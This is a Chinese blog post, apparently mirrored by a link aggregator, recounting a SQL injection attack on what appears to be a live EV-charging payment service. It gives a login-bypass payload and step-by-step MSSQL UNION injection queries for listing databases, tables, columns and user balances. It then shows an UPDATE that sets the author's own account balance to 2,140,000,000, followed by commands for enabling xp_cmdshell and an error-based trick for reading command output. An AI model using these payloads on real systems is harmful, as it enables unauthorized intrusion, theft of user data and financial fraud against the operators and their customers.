MSSQL渗透测试过程(上)
source link: https://www.ascotbe.com/2019/01/30/MSSQLPenetrationTest_0x01/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
开始准备工作
- 用什么nmap,awvs,vooli,ibm一堆工具搞了一遍发现没啥有用的信息
- 然后直接打开网站只有一个后台,这样只能看下能不能后台注入
如上图显示是有注入点的试下'or '1'='1'--直接进去了
结果发现后台啥功能都没有就几张图
然后转去搞APP去了,发现APP都是些泄露账户密码什么的没啥好玩的
振奋人心的发现
在Fiddler中抓到了一些奇怪的JS文件打开一看好多网址,都是我用IBM没扫描出来的东西,在一堆网址中找到了一个网页可以使用
用老方法测试发现存在注入点如图
我们用order by 猜字段得出有12个字段
接着构造语句查询数据库版本数据库权限等信息
'union select null,null,null,null,@@version,null,null,null,null,null,null,null -- 查询数据库版本
'union select null,null,null,null,system_user,null,null,null,null,null,null,null -- 用户权限
查询的后的一些基础信息
system_user sa
@@version Microsoft SQL Server 2012 (SP4) (KB4018073) - 11.0.7001.0 (X64) Aug 15 2017 10:23:29 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.3 (Build 9600: )
@@servername WIN-SF2MD4VM4JT
host_name() WIN-RG8BCEM932D
查询当前所有的数据库
111'union select null,null,null,null,name,null,null,null,null,null,null,null from master..sysdatabases--
查询当前数据库中的全部表(部分表截图)
'union select null,null,null,null,name,null,null,null,null,null,null,null from sysobjects where xtype='U' and category=0 --
查询表中是否有数据(查询行)
'union select null,null,null,null,count(1),null,null,null,null,null,null,null from Server_IN_UserRecharge--
表+表中的行
Server_AccountTradeRecord 39309
Server_AlipayData 17446
Server_BatteryType
Server_DT_BatteryDiagnosticCATLData
Server_DT_CarTypeInformation 67
Server_DT_BatteryDiagnosticData
Server_DT_ChargingPileStatusData 1804426
Server_DT_CostAccount 1
Server_DT_Dictionary 22
Server_DT_DictionaryData 104
Server_DT_FeedbackData 28
Server_DT_GroupCustomersData
Server_DT_IncomeAccount 1
Server_DT_InvoiceInformation
Server_DT_ServerErrorLogData 5829
Server_DT_SmsCodeData 302
Server_DT_UserCarInformation 140
Server_IN_ChargingPileInformation 7
Server_IN_ChargingStationInformation 2
Server_IN_CouponInformation 2
Server_IN_DBServerConnection 3
Server_IN_DeviceBindChargingStation
Server_IN_DeviceInformation 11
Server_IN_ElectricityStatistics 4
Server_IN_IC 1
Server_IN_IntegralRule
Server_IN_Menu_RoleInformation 109
Server_IN_ProvincesAndCity 47187
Server_IN_PushMsgData 226
Server_IN_ReceiveAddressInformation 41
Server_IN_RoleInformation 3
Server_IN_Shop
Server_IN_SignIn
Server_IN_StationValuationProgram 10
Server_IN_SystemConfigurationInfo
Server_IN_Town 41835
Server_IN_User_RoleInformation 6
Server_IN_UserInformation 81
Server_IN_UserPushConfig 36
Server_IN_UserRecharge
Server_IN_ValuationProgram 24
Server_NE_MenuInformation 64
Server_Reservation 58
Server_ReserveRecord
Server_UserAccount 80
Server_DT_ChargeWarnData 1
Server_DT_ChargeData 12248
后面一个表一个表猜去哪里有金额数据,最后在Server_UserAccount 这个表中找到了金额
查询表中的全部列名
'union select null,null,null,null,name,null,null,null,null,null,null,null FROM SysColumns Where id=Object_Id('Server_UserAccount')--
查询表中列的数据
11111'union select null,null,Amount,User_id,2,3,null,4,null,null,null,null FROM Server_UserAccount--
找到自己的用户ID这个我是在APP的返回包中抓到的
Update 表名 set 字段=值 where 条件
Update Server_UserAccount set Amount=2140000000 where User_id=5317--
尝试getshell
改网站站库分离+没有上传点+不知道是装了360还是配置错误尽然用xp_cmdshell错误
原理我是个菜鸡,各位大佬轻喷,顺便提提有什么思路让我学习学习
最后记个小TOP:
'union select null,null,null,null,x,null,null,null,null,null,null,null from xx-- 查询创建好表的数据
'create table xx(x nvarchar(max))-- 在数据库中创建XX的表列为X
用着4局话开启XP_CMDSHELL
sp_configure 'show advanced options',1
reconfigure
sp_configure 'xp_cmdshell',1
reconfigure
接着用报错注入法
'begin try exec master..xp_cmdshell'whoami' end try begin catch insert into xx select ERROR_MESSAGE() end catch-- 在数据库中插入exec master..xp_cmdshell'whoami'然后查询该表得到回显
参考博客:http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK